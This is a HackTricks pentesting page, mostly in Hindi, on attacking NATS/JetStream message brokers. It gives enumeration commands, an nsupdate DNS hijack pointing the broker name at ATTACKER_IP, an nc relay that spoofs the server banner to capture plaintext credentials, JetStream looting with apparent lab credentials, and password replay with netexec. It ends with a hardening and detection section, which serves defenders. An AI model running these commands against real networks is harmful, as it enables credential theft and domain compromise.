4222 - Pentesting NATS / JetStream

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

NATS एक उच्च-प्रदर्शन संदेश बस है जो एक सरल टेक्स्ट-आधारित प्रोटोकॉल बोलता है: सर्वर TCP कनेक्ट के तुरंत बाद INFO { ... } JSON बैनर ट्रांसमिट करता है, और क्लाइंट CONNECT {"user":"USERNAME","pass":"PASSWORD",...} फ़्रेम के साथ जवाब देता है जिसके बाद वैकल्पिक PING/PUB/SUB कमांड्स आते हैं। JetStream उसी TCP पोर्ट (4222/tcp) पर persistence primitives (Streams & Consumers) जोड़ता है। TLS और authentication वैकल्पिक हैं, इसलिए कई आंतरिक डिप्लॉयमेंट्स plaintext AUTH चलाते हैं।

  • डिफ़ॉल्ट पोर्ट: 4222/tcp (4223+ for clustered routes)
  • सामान्य बैनर फ़ील्ड: "version", "auth_required", "jetstream", "max_payload", "tls_required"

Enumeration

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

INFO फ्रेम को मैन्युअली भी खींचा जा सकता है:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

गहरे इंटरैक्शन के लिए आधिकारिक CLI (Go ≥1.21) स्थापित करें:

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

Authentication failures immediately raise nats: Authorization Violation, so valid creds are required for any meaningful RPC.

DNS/service impersonation के माध्यम से Credential capture

  • ब्रोकर्स के hostname के लिए stale AD DNS एंट्रियाँ पहचानें (उदा. nats-svc.domain.local)। यदि रिकॉर्ड NXDOMAIN लौटाता है, तो default dynamic-update ACLs के कारण एक low-privileged domain user इसे पुनः बना सकता है। पृष्ठभूमि के लिए देखें AD DNS Records abuse
  • होस्टनाम को attacker-controlled IP पर रजिस्टर करें:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • Mirror वैध बैनर को एक बार, फिर उसे हर connecting client पर replay करें। NATS पहले INFO लाइन पर भरोसा करता है जो वह देखता है, इसलिए हमें इसे केवल एक listener के माध्यम से pipe करना होगा:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • जैसे ही कोई internal client hijacked name को resolve करता है, वह plaintext CONNECT frame प्रसारित करेगा जिसमें user / pass जोड़ी और विभिन्न telemetry (client name, Go version, protocol level) शामिल होंगे। क्योंकि INFO banner के बाद कुछ भी आवश्यक नहीं है, यहाँ तक कि nc भी secrets हासिल करने के लिए पर्याप्त है।
  • लंबी जांचों के लिए, official server को लोकली चलाएँ (git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE logging पहले से ही usernames दिखाती है; redaction helper को हटाने या Wireshark से traffic sniffing करने पर पूरा password खुल जाता है।

JetStream looting & password hunting

एक बार कोई credential मिल जाने पर (उदा. Dev_Account_A), इसे CLI context के रूप में स्टोर कर लें ताकि बार-बार टाइप न करना पड़े:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

JetStream discovery आमतौर पर निम्नलिखित पैटर्न का पालन करती है:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

Streaming टीम्स अक्सर authentication events को logs.auth जैसे subjects में लॉग करती हैं। अगर developers raw JSON को एक JetStream stream में persist करते हैं, तो payloads में plaintext AD usernames और passwords शामिल हो सकते हैं:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Retained secrets को फिर Kerberos-only services के खिलाफ netexec smb DC01 -u USER -p PASS -k का उपयोग करके replay किया जा सकता है, जिससे पूरा domain compromise संभव हो जाता है।

कठोरिकरण और पता लगाना

  • TLS लागू करें (tls, tls_required, or mTLS via nkey/creds). एन्क्रिप्शन के बिना, INFO/CONNECT किसी भी on-path पर मौजूद व्यक्ति को credentials leak कर देता है।
  • यह पहचानें कि कौन DNS अपडेट कर सकता है – service records को dedicated accounts को delegate करें और high-value hostnames के लिए Event IDs 257/252 का audit करें। इसे scavenging alerts के साथ मिलाएँ ताकि missing broker names चुपचाप re-claim न किए जा सकें।
  • Credential logging अक्षम करें। subjects पर प्रकाशित करने से पहले secrets को scrub करें, JetStream retention/age limits सेट करें, और deny_delete=false केवल भरोसेमंद operators पर लागू करें।
  • बैनर असमानताओं की निगरानी करें – बार-बार होने वाले अल्पकालिक कनेक्शन्स, authentication timeouts, या INFO बैनर्स जो मान्य टेम्पलेट से मेल नहीं खाते, ये संकेत देते हैं कि सर्वर spoofed हो सकते हैं।

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें